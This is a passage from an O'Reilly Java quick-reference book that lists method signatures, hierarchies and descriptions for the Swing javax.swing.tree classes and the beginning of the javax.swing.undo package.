 | public void setBackgroundSelectionColor (java.awt.Color newColor); |
 | public java.awt.Color getBorderSelectionColor (); | default:ColorUIResource
 | public void setBorderSelectionColor (java.awt.Color newColor); |
 | public Icon getClosedIcon (); |
 | public void setClosedIcon (Icon newIcon); |
 | public Icon getDefaultClosedIcon (); |
 | public Icon getDefaultLeafIcon (); |
 | public Icon getDefaultOpenIcon (); |
 | public Icon getLeafIcon (); |
 | public void setLeafIcon (Icon newIcon); |
 | public Icon getOpenIcon (); |
 | public void setOpenIcon (Icon newIcon); |
 | public java.awt.Dimension getPreferredSize (); | Overrides:JComponent
 | public java.awt.Color getTextNonSelectionColor (); | default:ColorUIResource
 | public void setTextNonSelectionColor (java.awt.Color newColor); |
 | public java.awt.Color getTextSelectionColor (); | default:ColorUIResource
 | public void setTextSelectionColor (java.awt.Color newColor); |
// | Methods Implementing TreeCellRenderer
 | public Component getTreeCellRendererComponent (JTree tree, Object value, boolean sel, boolean expanded, boolean leaf, int row, boolean hasFocus); |
// | Public Methods Overriding JComponent
 | public void paint (java.awt.Graphics g); |
 | public void setBackground (java.awt.Color color); |
 | public void setFont (java.awt.Font font); |
// | Protected Instance Fields
 | protected java.awt.Color backgroundNonSelectionColor ; |
 | protected java.awt.Color backgroundSelectionColor ; |
 | protected java.awt.Color borderSelectionColor ; |
 | protected transient Icon closedIcon ; |
 | protected transient Icon leafIcon ; |
 | protected transient Icon openIcon ; |
 | protected boolean selected ; |
 | protected java.awt.Color textNonSelectionColor ; |
 | protected java.awt.Color textSelectionColor ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JLabel(Accessible,SwingConstants)-->DefaultTreeCellRenderer(TreeCellRenderer)

Passed To: DefaultTreeCellEditor.DefaultTreeCellEditor()

Type Of: DefaultTreeCellEditor.renderer

DefaultTreeModel | Java 1.2
javax.swing.tree | serializable model

This class implements the TreeModel interface for TreeNode or MutableTreeNode objects. When you create a DefaultTreeModel, you specify the TreeNode at the root of the tree. You also can specify how the tree distinguishes leaf nodes from nonleaf nodes. Usually, DefaultTreeModel calls the isLeaf() method of a TreeNode to determine whether it is a leaf. For the commonly used DefaultMutableTreeNode class, isLeaf() returns true if the node has no children. On the other hand, if the asksAllowsChildren property is set to true, DefaultTreeModel calls the getAllowsChildren() method of a TreeNode instead.

The TreeModel interface allows registration of javax.swing.event.TreeModelListener objects that are notified when the tree data or structure is changed. DefaultTreeModel provides a number of methods that make this notification simple. If you modify any of the TreeNode objects contained within a DefaultTreeModel after that model is in use, call one of the methods beginning with "node" or "nodes". These methods send out the appropriate javax.swing.event.TreeModelEvent notifications. If your modifications consist solely of inserting and removing nodes, you can use insertNodeInto() and removeNodeFromParent(). These methods make the appropriate modifications to the specified MutableTreeNode objects and also send out notification events.

public class DefaultTreeModel implements Serializable, TreeModel {
// | Public Constructors
 | public DefaultTreeModel (TreeNode root); |
 | public DefaultTreeModel (TreeNode root, boolean asksAllowsChildren); |
// | Event Registration Methods (by event name)
 | public void addTreeModelListener (javax.swing.event.TreeModelListener l); | Implements:TreeModel
 | public void removeTreeModelListener (javax.swing.event.TreeModelListener l); | Implements:TreeModel
// | Public Instance Methods
 | public boolean asksAllowsChildren (); |
 | public TreeNode[ ] getPathToRoot (TreeNode aNode); |
 | public void insertNodeInto (MutableTreeNode newChild, MutableTreeNode parent, int index); |
 | public void nodeChanged (TreeNode node); |
 | public void nodesChanged (TreeNode node, int[ ] childIndices); |
 | public void nodeStructureChanged (TreeNode node); |
 | public void nodesWereInserted (TreeNode node, int[ ] childIndices); |
 | public void nodesWereRemoved (TreeNode node, int[ ] childIndices, Object[ ] removedChildren); |
 | public void reload (); |
 | public void reload (TreeNode node); |
 | public void removeNodeFromParent (MutableTreeNode node); |
 | public void setAsksAllowsChildren (boolean newValue); |
 | public void setRoot (TreeNode root); |
// | Methods Implementing TreeModel
 | public void addTreeModelListener (javax.swing.event.TreeModelListener l); |
 | public Object getChild (Object parent, int index); |
 | public int getChildCount (Object parent); |
 | public int getIndexOfChild (Object parent, Object child); |
 | public Object getRoot (); |
 | public boolean isLeaf (Object node); |
 | public void removeTreeModelListener (javax.swing.event.TreeModelListener l); |
 | public void valueForPathChanged (TreePath path, Object newValue); |
// | Protected Instance Methods
 | protected void fireTreeNodesChanged (Object source, Object[ ] path, int[ ] childIndices, Object[ ] children); |
 | protected void fireTreeNodesInserted (Object source, Object[ ] path, int[ ] childIndices, Object[ ] children); |
 | protected void fireTreeNodesRemoved (Object source, Object[ ] path, int[ ] childIndices, Object[ ] children); |
 | protected void fireTreeStructureChanged (Object source, Object[ ] path, int[ ] childIndices, Object[ ] children); |
 | protected TreeNode[ ] getPathToRoot (TreeNode aNode, int depth); |
// | Protected Instance Fields
 | protected boolean asksAllowsChildren ; |
 | protected javax.swing.event.EventListenerList listenerList ; |
 | protected TreeNode root ; |
}

Hierarchy: Object-->DefaultTreeModel(Serializable,TreeModel)

DefaultTreeSelectionModel | Java 1.2
javax.swing.tree | cloneable serializable model

This class is used by default to maintain the selection state for the JTree component. Methods such as addSelectionPaths(), removeSelectionPaths(), setSelectionPaths(), getSelectionPaths(), clearSelection(), isPathSelected(), and isSelectionEmpty() can be used to manipulate and query the selection state. However, application programmers generally call similarly named methods of JTree, rather than interacting with the DefaultTreeSelectionModel directly. setSelectionMode() is an important method that does not have a JTree analog. Its argument should be one of the three constants defined by the TreeSelectionModel interface. These three constants allow a single item to be selected, a single contiguous range of items to be selected, or any number of possibly discontiguous items to be selected. DefaultTreeSelectionModel has methods for setting and querying the selection in terms of rows. These methods are intended for internal use by JTree and its UI delegate object. They typically are not useful to application programmers.

public class DefaultTreeSelectionModel implements Cloneable, Serializable, TreeSelectionModel {
// | Public Constructors
 | public DefaultTreeSelectionModel (); |
// | Public Constants
 | public static final String SELECTION_MODE_PROPERTY ; | ="selectionMode"
// | Event Registration Methods (by event name)
 | public void addPropertyChangeListener (java.beans.PropertyChangeListener listener); | Implements:TreeSelectionModel synchronized
 | public void removePropertyChangeListener (java.beans.PropertyChangeListener listener); | Implements:TreeSelectionModel synchronized
 | public void addTreeSelectionListener (javax.swing.event.TreeSelectionListener x); | Implements:TreeSelectionModel
 | public void removeTreeSelectionListener (javax.swing.event.TreeSelectionListener x); | Implements:TreeSelectionModel
// | Methods Implementing TreeSelectionModel
 | public void addPropertyChangeListener (java.beans.PropertyChangeListener listener); | synchronized
 | public void addSelectionPath (TreePath path); |
 | public void addSelectionPaths (TreePath[ ] paths); |
 | public void addTreeSelectionListener (javax.swing.event.TreeSelectionListener x); |
 | public void clearSelection (); |
 | public TreePath getLeadSelectionPath (); | default:null
 | public int getLeadSelectionRow (); | default:-1
 | public int getMaxSelectionRow (); | default:-1
 | public int getMinSelectionRow (); | default:-1
 | public RowMapper getRowMapper (); | default:null
 | public int getSelectionCount (); | default:0
 | public int getSelectionMode (); | default:4
 | public TreePath getSelectionPath (); | default:null
 | public TreePath[ ] getSelectionPaths (); | default:null
 | public int[ ] getSelectionRows (); | default:null
 | public boolean isPathSelected (TreePath path); |
 | public boolean isRowSelected (int row); |
 | public boolean isSelectionEmpty (); | default:true
 | public void removePropertyChangeListener (java.beans.PropertyChangeListener listener); | synchronized
 | public void removeSelectionPath (TreePath path); |
 | public void removeSelectionPaths (TreePath[ ] paths); |
 | public void removeTreeSelectionListener (javax.swing.event.TreeSelectionListener x); |
 | public void resetRowSelection (); |
 | public void setRowMapper (RowMapper newMapper); |
 | public void setSelectionMode (int mode); |
 | public void setSelectionPath (TreePath path); |
 | public void setSelectionPaths (TreePath[ ] pPaths); |
// | Public Methods Overriding Object
 | public Object clone () throws CloneNotSupportedException; |
 | public String toString (); |
// | Protected Instance Methods
 | protected boolean arePathsContiguous (TreePath[ ] paths); |
 | protected boolean canPathsBeAdded (TreePath[ ] paths); |
 | protected boolean canPathsBeRemoved (TreePath[ ] paths); |
 | protected void fireValueChanged (javax.swing.event.TreeSelectionEvent e); |
 | protected void insureRowContinuity (); |
 | protected void insureUniqueness (); |
 | protected void notifyPathChange (java.util.Vector changedPaths, TreePath oldLeadSelection); |
 | protected void updateLeadIndex (); |
// | Protected Instance Fields
 | protected javax.swing.event.SwingPropertyChangeSupport changeSupport ; |
 | protected int leadIndex ; |
 | protected TreePath leadPath ; |
 | protected int leadRow ; |
 | protected javax.swing.event.EventListenerList listenerList ; |
 | protected DefaultListSelectionModel listSelectionModel ; |
 | protected transient RowMapper rowMapper ; |
 | protected TreePath[ ] selection ; |
 | protected int selectionMode ; |
}

Hierarchy: Object-->DefaultTreeSelectionModel(Cloneable,Serializable,TreeSelectionModel)

Subclasses: JTree.EmptySelectionModel

ExpandVetoException | Java 1.2
javax.swing.tree | serializable checked

Thrown by one of the methods of a TreeWillExpandListener object to veto a proposed expansion or collapse of a node.

public class ExpandVetoException extends Exception {
// | Public Constructors
 | public ExpandVetoException (javax.swing.event.TreeExpansionEvent event);
 | public ExpandVetoException (javax.swing.event.TreeExpansionEvent event, String message);
// | Protected Instance Fields
 | protected javax.swing.event.TreeExpansionEvent event ;
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->ExpandVetoException

Thrown By: JTree.{fireTreeWillCollapse(), fireTreeWillExpand()}, javax.swing.event.TreeWillExpandListener.{treeWillCollapse(), treeWillExpand()}

FixedHeightLayoutCache Java 1.2
javax.swing.tree

This class caches the layout of nodes in a JTree. It makes the simplifying assumption that all nodes in the tree have the same height. This class is used by the JTree UI delegate; applications never need to use it.

public class FixedHeightLayoutCache extends AbstractLayoutCache {
// | Public Constructors
 | public FixedHeightLayoutCache (); |
// | Public Methods Overriding AbstractLayoutCache
 | public java.awt.Rectangle getBounds (TreePath path, java.awt.Rectangle placeIn); |
 | public boolean getExpandedState (TreePath path); |
 | public int getRowCount (); | default:0
 | public TreePath getPathClosestTo (int x, int y); |
 | public TreePath getPathForRow (int row); |
 | public int getRowForPath (TreePath path); |
 | public int getVisibleChildCount (TreePath path); |
 | public java.util.Enumeration getVisiblePathsFrom (TreePath path); |
 | public void invalidatePathBounds (TreePath path); | empty
 | public void invalidateSizes (); |
 | public boolean isExpanded (TreePath path); |
 | public void setExpandedState (TreePath path, boolean isExpanded); |
 | public void setModel (TreeModel newModel); |
 | public void setRootVisible (boolean rootVisible); |
 | public void setRowHeight (int rowHeight); |
 | public void treeNodesChanged (javax.swing.event.TreeModelEvent e); |
 | public void treeNodesInserted (javax.swing.event.TreeModelEvent e); |
 | public void treeNodesRemoved (javax.swing.event.TreeModelEvent e); |
 | public void treeStructureChanged (javax.swing.event.TreeModelEvent e); |
}

Hierarchy: Object-->AbstractLayoutCache(RowMapper)-->FixedHeightLayoutCache

MutableTreeNode Java 1.2
javax.swing.tree

This interface extends TreeNode and adds methods for inserting and removing children of a node and for setting the parent of a node. Additionally, it defines a method for associating an arbitrary object with a node. This user object is the data associated with the node, data that is displayed in some way by the JTree component.

public abstract interface MutableTreeNode extends TreeNode {
// | Public Instance Methods
 | public abstract void insert (MutableTreeNode child, int index);
 | public abstract void remove (MutableTreeNode node);
 | public abstract void remove (int index);
 | public abstract void removeFromParent ();
 | public abstract void setParent (MutableTreeNode newParent);
 | public abstract void setUserObject (Object object);
}

Hierarchy: (MutableTreeNode(TreeNode))

Implementations: DefaultMutableTreeNode

Passed To: DefaultMutableTreeNode.{add(), insert(), remove(), setParent()}, DefaultTreeModel.{insertNodeInto(), removeNodeFromParent()}, MutableTreeNode.{insert(), remove(), setParent()}

Type Of: DefaultMutableTreeNode.parent

RowMapper Java 1.2
javax.swing.tree

This interface defines a method that maps from TreePath nodes in a JTree to numerical rows in the tree presentation. Because the arrangement of items in a tree is specific to the look-and-feel, RowMapper implementations are private to the look-and-feel. Application programmers never have to use or implement this interface.

public abstract interface RowMapper {
// | Public Instance Methods
 | public abstract int[ ] getRowsForPaths (TreePath[ ] path);
}

Implementations: AbstractLayoutCache

Passed To: DefaultTreeSelectionModel.setRowMapper(), TreeSelectionModel.setRowMapper()

Returned By: DefaultTreeSelectionModel.getRowMapper(), TreeSelectionModel.getRowMapper()

Type Of: DefaultTreeSelectionModel.rowMapper

TreeCellEditor Java 1.2
javax.swing.tree

This interface extends the javax.swing.CellEditor interface to make it specific to the JTree component. getTreeCellEditorComponent() should initialize and return a shared component or container (typically a JComponent) that is to be used for editing the value of a tree node. The second argument to getTreeCellEditorComponent() is the tree node that is to be edited. If you use the DefaultTreeModel, this argument is a TreeNode. Note that this argument is the node itself, not the user object associated with the TreeNode. The additional arguments passed to getTreeCellEditorComponent() can be used to further configure the cell editor component, as desired. A TreeCellEditor must also implement all the methods defined by CellEditor, and it must correctly implement the protocol for communication between a JComponent and its cell editor. Most importantly, it must generate a javax.swing.event.ChangeEvent when editing is done.

public abstract interface TreeCellEditor extends CellEditor {
// | Public Instance Methods
 | public abstract Component getTreeCellEditorComponent (JTree tree, Object value, boolean isSelected, boolean expanded, boolean leaf, int row);
}

Hierarchy: (TreeCellEditor(CellEditor))

Implementations: DefaultCellEditor, DefaultTreeCellEditor

Passed To: JTree.setCellEditor(), DefaultTreeCellEditor.DefaultTreeCellEditor()

Returned By: JTree.getCellEditor(), DefaultTreeCellEditor.createTreeCellEditor()

Type Of: JTree.cellEditor, DefaultTreeCellEditor.realEditor

TreeCellRenderer Java 1.2
javax.swing.tree

This interface defines the getTreeCellRendererComponent() method, which is responsible for returning a component (typically a JComponent) that is fully configured to render a node of a JTree. JTree uses a default TreeCellRenderer that is suitable in most situations. If you want custom rendering of tree nodes, however, you must implement this interface. The second argument to getTreeCellRendererComponent() is the node to be rendered. If you use the DefaultTreeModel, this argument is a TreeNode object. Note that it is not the user object associated with a TreeNode. The remaining arguments specify other information about the node. The renderer may choose to use this information in its rendering of the cell or not. The renderer is responsible for highlighting any selected nodes and for drawing any icons or other desired graphics that distinguish leaf nodes from branch nodes.

public abstract interface TreeCellRenderer {
// | Public Instance Methods
 | public abstract Component getTreeCellRendererComponent (JTree tree, Object value, boolean selected, boolean expanded, boolean leaf, int row, boolean hasFocus);
}

Implementations: DefaultTreeCellRenderer

Passed To: JTree.setCellRenderer()

Returned By: JTree.getCellRenderer()

Type Of: JTree.cellRenderer

TreeModel | Java 1.2
javax.swing.tree | model

This interface defines the methods necessary to represent a tree of objects for display in a JTree component. getRoot() returns the object at the root of the tree. getChildCount() returns the number of children a tree node has. getChild() returns a specified child of a node. The poorly named valueForPathChanged() method sets the data value associated with a node identified by a TreePath object. When this method is called, a TreeModel should generate a javax.swing.event.TreeModelEvent and notify all registered javax.swing.event.TreeModelListener objects by invoking their treeNodesChanged() methods.

When working with objects that have an implicit tree hierarchy, such as java.io.File objects, you can directly implement TreeModel to encapsulate the details of that tree hierarchy. In other cases, it is usually easier to use the DefaultTreeModel class, which implements the TreeModel interface for TreeNode objects.

public abstract interface TreeModel {
// | Event Registration Methods (by event name)
 | public abstract void addTreeModelListener (javax.swing.event.TreeModelListener l);
 | public abstract void removeTreeModelListener (javax.swing.event.TreeModelListener l);
// | Public Instance Methods
 | public abstract Object getChild (Object parent, int index);
 | public abstract int getChildCount (Object parent);
 | public abstract int getIndexOfChild (Object parent, Object child);
 | public abstract Object getRoot ();
 | public abstract boolean isLeaf (Object node);
 | public abstract void valueForPathChanged (TreePath path, Object newValue);
}

Implementations: DefaultTreeModel

Passed To: JTree.{JTree(), setModel()}, AbstractLayoutCache.setModel(), FixedHeightLayoutCache.setModel(), VariableHeightLayoutCache.setModel()

Returned By: JTree.{createTreeModel(), getDefaultTreeModel(), getModel()}, AbstractLayoutCache.getModel()

Type Of: JTree.treeModel, AbstractLayoutCache.treeModel

TreeNode Java 1.2
javax.swing.tree

This interface is used by DefaultTreeModel to represent one node in a tree. Implementations must be able both to return the parent and the children, if any, of a node, and to distinguish between leaf nodes and branch nodes in the tree. Any useful implementation must also associate some kind of data with each node. Note that the TreeNode interface is used by DefaultTreeModel, not by TreeModel or by the JTree component. If you write your own implementation of TreeModel, you do not have to use the TreeNode interface. See also MutableTreeNode and DefaultMutableTreeNode.

public abstract interface TreeNode {
// | Property Accessor Methods (by property name)
 | public abstract boolean getAllowsChildren ();
 | public abstract int getChildCount ();
 | public abstract boolean isLeaf ();
 | public abstract TreeNode getParent ();
// | Public Instance Methods
 | public abstract java.util.Enumeration children ();
 | public abstract TreeNode getChildAt (int childIndex);
 | public abstract int getIndex (TreeNode node);
}

Implementations: javax.swing.text.AbstractDocument.AbstractElement, MutableTreeNode

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: DefaultTreeModel.root

TreePath | Java 1.2
javax.swing.tree | serializable

This class represents a node in a tree and the path of nodes between that node and the root of the tree. The TreeModel interface does not contain methods for querying the parent of a given node. Therefore, the JTree component and its related classes rely on TreePath to encapsulate the list of ancestors of a node. getLastPathComponent() returns the node represented by the path. getPath() returns an array of objects that represents the complete path. The first element in the array is the root of the tree, and the last element is the node returned by getLastPathComponent(). isDescendant() tests whether a TreePath is a descendant of this one.

public class TreePath implements Serializable {
// | Public Constructors
 | public TreePath (Object singlePath);
 | public TreePath (Object[ ] path);
// | Protected Constructors
 | protected TreePath ();
 | protected TreePath (Object[ ] path, int length);
 | protected TreePath (TreePath parent, Object lastElement);
// | Property Accessor Methods (by property name)
 | public Object getLastPathComponent ();
 | public TreePath getParentPath ();
 | public Object[ ] getPath ();
 | public int getPathCount ();
// | Public Instance Methods
 | public Object getPathComponent (int element);
 | public boolean isDescendant (TreePath aTreePath);
 | public TreePath pathByAddingChild (Object child);
// | Public Methods Overriding Object
 | public boolean equals (Object o);
 | public int hashCode ();
 | public String toString ();
}

Hierarchy: Object-->TreePath(Serializable)

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: javax.swing.event.TreeExpansionEvent.path, javax.swing.event.TreeModelEvent.path, javax.swing.event.TreeSelectionEvent.{newLeadSelectionPath, oldLeadSelectionPath, paths}, DefaultTreeCellEditor.lastPath, DefaultTreeSelectionModel.{leadPath, selection}

TreeSelectionModel | Java 1.2
javax.swing.tree | model

This interface defines the methods that must be implemented for an object to maintain the selection state of a JTree component. See the DefaultTreeSelectionModel implementation for details.

public abstract interface TreeSelectionModel {
// | Public Constants
 | public static final int CONTIGUOUS_TREE_SELECTION ; | =2
 | public static final int DISCONTIGUOUS_TREE_SELECTION ; | =4
 | public static final int SINGLE_TREE_SELECTION ; | =1
// | Event Registration Methods (by event name)
 | public abstract void addPropertyChangeListener (java.beans.PropertyChangeListener listener); |
 | public abstract void removePropertyChangeListener (java.beans.PropertyChangeListener listener); |
 | public abstract void addTreeSelectionListener (javax.swing.event.TreeSelectionListener x); |
 | public abstract void removeTreeSelectionListener (javax.swing.event.TreeSelectionListener x); |
// | Property Accessor Methods (by property name)
 | public abstract TreePath getLeadSelectionPath (); |
 | public abstract int getLeadSelectionRow (); |
 | public abstract int getMaxSelectionRow (); |
 | public abstract int getMinSelectionRow (); |
 | public abstract RowMapper getRowMapper (); |
 | public abstract void setRowMapper (RowMapper newMapper); |
 | public abstract int getSelectionCount (); |
 | public abstract boolean isSelectionEmpty (); |
 | public abstract int getSelectionMode (); |
 | public abstract void setSelectionMode (int mode); |
 | public abstract TreePath getSelectionPath (); |
 | public abstract void setSelectionPath (TreePath path); |
 | public abstract TreePath[ ] getSelectionPaths (); |
 | public abstract void setSelectionPaths (TreePath[ ] paths); |
 | public abstract int[ ] getSelectionRows (); |
// | Public Instance Methods
 | public abstract void addSelectionPath (TreePath path); |
 | public abstract void addSelectionPaths (TreePath[ ] paths); |
 | public abstract void clearSelection (); |
 | public abstract boolean isPathSelected (TreePath path); |
 | public abstract boolean isRowSelected (int row); |
 | public abstract void removeSelectionPath (TreePath path); |
 | public abstract void removeSelectionPaths (TreePath[ ] paths); |
 | public abstract void resetRowSelection (); |
}

Implementations: DefaultTreeSelectionModel

Passed To: JTree.setSelectionModel(), AbstractLayoutCache.setSelectionModel()

Returned By: JTree.getSelectionModel(), AbstractLayoutCache.getSelectionModel()

Type Of: JTree.selectionModel, AbstractLayoutCache.treeSelectionModel

VariableHeightLayoutCache Java 1.2
javax.swing.tree

This class caches the layout of nodes in a JTree. It allows tree nodes to have variable heights. This class is used by the JTree UI delegate; applications never need to use it.

public class VariableHeightLayoutCache extends AbstractLayoutCache {
// | Public Constructors
 | public VariableHeightLayoutCache (); |
// | Public Methods Overriding AbstractLayoutCache
 | public java.awt.Rectangle getBounds (TreePath path, java.awt.Rectangle placeIn); |
 | public boolean getExpandedState (TreePath path); |
 | public TreePath getPathClosestTo (int x, int y); |
 | public TreePath getPathForRow (int row); |
 | public int getPreferredWidth (java.awt.Rectangle bounds); |
 | public int getRowCount (); | default:0
 | public int getRowForPath (TreePath path); |
 | public int getVisibleChildCount (TreePath path); |
 | public java.util.Enumeration getVisiblePathsFrom (TreePath path); |
 | public void invalidatePathBounds (TreePath path); |
 | public void invalidateSizes (); |
 | public boolean isExpanded (TreePath path); |
 | public void setExpandedState (TreePath path, boolean isExpanded); |
 | public void setModel (TreeModel newModel); | bound
 | public void setNodeDimensions (AbstractLayoutCache.NodeDimensions nd); |
 | public void setRootVisible (boolean rootVisible); | bound
 | public void setRowHeight (int rowHeight); | bound
 | public void treeNodesChanged (javax.swing.event.TreeModelEvent e); |
 | public void treeNodesInserted (javax.swing.event.TreeModelEvent e); |
 | public void treeNodesRemoved (javax.swing.event.TreeModelEvent e); |
 | public void treeStructureChanged (javax.swing.event.TreeModelEvent e); |
}

Hierarchy: Object-->AbstractLayoutCache(RowMapper)-->VariableHeightLayoutCache

Previous | Home | Next
33.1. The javax.swing.text.rtf Package | Book Index | 35. The javax.swing.undo Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.swing.undo Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 35. The javax.swing.undo Package

The classes and interfaces in this package form the undo framework for Swing applications. The UndoManager manages a list of UndoableEdit objects, each of which can be individually undone or redone. Any Swing application that wants to provide an undo capability will find this package useful. Figure 35-1 shows the class hierarchy of this package.

Figure 35-1. The javax.swing.undo package

AbstractUndoableEdit | Java 1.2
javax.swing.undo | serializable

This class is a simple implementation of UndoableEdit. It enforces the restriction that an edit cannot be undone twice or redone without first being undone. Although the undo() and redo() methods do not actually undo or redo anything, subclasses should still call super.undo() and super.redo() in order to retain these restrictions. addEdit() and replaceEdit() return false; this implementation makes no attempt to merge events. getUndoPresentationName() and getRedoPresentationName() return the strings "Undo" and "Redo", followed by the string returned from getPresentationName(). Therefore, typical subclasses only need to override getPresentationName().

public class AbstractUndoableEdit implements Serializable, UndoableEdit {
// | Public Constructors
 | public AbstractUndoableEdit (); |
// | Protected Constants
 | protected static final String RedoName ; | ="Redo"
 | protected static final String UndoName ; | ="Undo"
// | Methods Implementing UndoableEdit
 | public boolean addEdit (UndoableEdit anEdit); | constant
 | public boolean canRedo (); |
 | public boolean canUndo (); |
 | public void die (); |
 | public String getPresentationName (); | default:""
 | public String getRedoPresentationName (); | default:"Redo"
 | public String getUndoPresentationName (); | default:"Undo"
 | public boolean isSignificant (); | constant default:true
 | public void redo () throws CannotRedoException; |
 | public boolean replaceEdit (UndoableEdit anEdit); | constant
 | public void undo () throws CannotUndoException; |
// | Public Methods Overriding Object
 | public String toString (); |
}

Hierarchy: Object-->AbstractUndoableEdit(Serializable,UndoableEdit)

Subclasses: javax.swing.text.AbstractDocument.ElementEdit, javax.swing.text.DefaultStyledDocument.AttributeUndoableEdit, CompoundEdit, StateEdit

CannotRedoException | Java 1.2
javax.swing.undo | serializable unchecked

Signals that an UndoableEdit cannot be redone, perhaps because it has not been undone yet or because it has already been redone.

public class CannotRedoException extends RuntimeException {
// | Public Constructors
 | public CannotRedoException ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->CannotRedoException

Thrown By: javax.swing.text.AbstractDocument.DefaultDocumentEvent.redo(), javax.swing.text.AbstractDocument.ElementEdit.redo(), javax.swing.text.DefaultStyledDocument.AttributeUndoableEdit.redo(), AbstractUndoableEdit.redo(), CompoundEdit.redo(), UndoableEdit.redo(), UndoManager.{redo(), redoTo(), undoOrRedo()}

CannotUndoException | Java 1.2
javax.swing.undo | serializable unchecked

Signals that an UndoableEdit cannot be undone, perhaps because it has already been undone.

public class CannotUndoException extends RuntimeException {
// | Public Constructors
 | public CannotUndoException ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->CannotUndoException

Thrown By: javax.swing.text.AbstractDocument.DefaultDocumentEvent.undo(), javax.swing.text.AbstractDocument.ElementEdit.undo(), javax.swing.text.DefaultStyledDocument.AttributeUndoableEdit.undo(), AbstractUndoableEdit.undo(), CompoundEdit.undo(), UndoableEdit.undo(), UndoManager.{undo(), undoOrRedo(), undoTo()}

CompoundEdit | Java 1.2
javax.swing.undo | serializable

This class is a compound UndoableEdit that collects a group of UndoableEdit objects into a single object and allows them to be undone and redone as a group. After creating a CompoundEdit object, you use addEdit() to add UndoableEdit objects to it. When you are done adding edits, call end(). Once end() has been called, you can freely use the undo() and redo() methods. The isInProgress() method returns true if end() has not been called yet and edits are still being added. While CompoundEdit maintains a list of UndoableEdit objects to undo and redo, the addEdit() method does not simply add edits to this list. When a new edit is added, CompoundEdit first attempts to merge it with the previously added edit by calling the addEdit() and replaceEdit() methods of the individual UndoableEdit objects. If these methods fail to merge the two edits into one, the new edit is added to the list of edits. The isSignificant() method returns true if any of the edits on the list of edits is significant and returns false otherwise. getPresentationName() returns the name of the last edit on the list, if it has one.

public class CompoundEdit extends AbstractUndoableEdit {
// | Public Constructors
 | public CompoundEdit (); |
// | Public Instance Methods
 | public void end (); |
 | public boolean isInProgress (); | default:true
// | Public Methods Overriding AbstractUndoableEdit
 | public boolean addEdit (UndoableEdit anEdit); |
 | public boolean canRedo (); |
 | public boolean canUndo (); |
 | public void die (); |
 | public String getPresentationName (); | default:""
 | public String getRedoPresentationName (); | default:"Redo"
 | public String getUndoPresentationName (); | default:"Undo"
 | public boolean isSignificant (); | default:false
 | public void redo () throws CannotRedoException; |
 | public String toString (); |
 | public void undo () throws CannotUndoException; |
// | Protected Instance Methods
 | protected UndoableEdit lastEdit (); |
// | Protected Instance Fields
 | protected java.util.Vector edits ; |
}

Hierarchy: Object-->AbstractUndoableEdit(Serializable,UndoableEdit)-->CompoundEdit

Subclasses: javax.swing.text.AbstractDocument.DefaultDocumentEvent, UndoManager

Returned By: UndoableEditSupport.createCompoundEdit()

Type Of: UndoableEditSupport.compoundEdit

StateEdit | Java 1.2
javax.swing.undo | serializable

This class is an UndoableEdit implementation that works with StateEditable objects. First, create a StateEdit object, passing the StateEditable object to be edited to the constructor (and optionally specifying a presentation name for the StateEdit). The constructor queries the initial state of the StateEditable object and saves it. Next, make your edits to the StateEditable object and then call the end() method on your StateEdit object. This method queries the edited state of the object and saves that state. StateEdit implements the undo() method by restoring the saved preedit state and implements the redo() method by restoring the saved postedit state. For efficiency, StateEdit removes duplicate state entries from the preedit and postedit hashtables, so only the state that changes is saved.

public class StateEdit extends AbstractUndoableEdit {
// | Public Constructors
 | public StateEdit (StateEditable anObject);
 | public StateEdit (StateEditable anObject, String name);
// | Protected Constants
 | protected static final String RCSID ;
// | Public Instance Methods
 | public void end ();
// | Public Methods Overriding AbstractUndoableEdit
 | public String getPresentationName ();
 | public void redo ();
 | public void undo ();
// | Protected Instance Methods
 | protected void init (StateEditable anObject, String name);
 | protected void removeRedundantState ();
// | Protected Instance Fields
 | protected StateEditable object ;
 | protected java.util.Hashtable postState ;
 | protected java.util.Hashtable preState ;
 | protected String undoRedoName ;
}

Hierarchy: Object-->AbstractUndoableEdit(Serializable,UndoableEdit)-->StateEdit

StateEditable Java 1.2
javax.swing.undo

This interface defines methods that allow an object to save and restore its state to and from a java.util.Hashtable. Objects that are able to implement this interface can easily support undo management with the StateEdit class.

public abstract interface StateEditable {
// | Public Constants
 | public static final String RCSID ;
// | Public Instance Methods
 | public abstract void restoreState (java.util.Hashtable state);
 | public abstract void storeState (java.util.Hashtable state);
}

Passed To: StateEdit.{init(), StateEdit()}

Type Of: StateEdit.object

UndoableEdit Java 1.2
javax.swing.undo

This interface defines methods that encapsulate an undoable and redoable change to the state of an application or component. The undo() and redo() methods are the most important: they must actually undo and redo the edit. They throw exceptions if an edit is undone twice or redone twice or if for some other reason an edit cannot be undone or redone. canUndo() and canRedo() specify whether an UndoableEdit can currently be undone or redone. die() tells an edit that it is no longer needed, so it can release any resources it is holding. Neither undo() nor redo() should be called once die() has been called.

getPresentationName() returns a human-readable description of the edit. getUndoPresentationName() and getRedoPresentationName() return human-readable descriptions of undoing and redoing the edit. These two methods are usually implemented in terms of getPresentationName() and might return strings like "Undo typing" or "Redo deletion". isSignificant() specifies whether the edit is a significant one. Typically, significant edits are presented to the user in a user interface, while insignificant edits are simply undone and redone in conjunction with adjacent significant edits. The UndoManager class treats insignificant edits in this way, for example.

addEdit() and replaceEdit() are used for merging two UndoableEdit objects into one. addEdit() is called to see if an existing UndoableEdit is willing to merge or absorb another edit into itself. For example, if the user strikes the Backspace key twice in a row, the UndoableEdit object generated by the first keystroke might absorb the UndoableEdit object generated by the second keystroke, changing itself from a "backspace 1" edit to a "backspace 2" edit. addEdit() should return true if it adds the edit and false otherwise. replaceEdit() has a similar purpose but operates in the other direction. It gives a new UndoableEdit object the opportunity to absorb and replace an existing UndoableEdit. For example, if the user of a text editor selects a paragraph of text and then deletes that paragraph, the "delete-paragraph" edit might simply subsume and replace the "select-paragraph" edit. replaceEdit() should return true if it replaces the specified UndoableEdit object.

public abstract interface UndoableEdit {
// | Property Accessor Methods (by property name)
 | public abstract String getPresentationName ();
 | public abstract String getRedoPresentationName ();
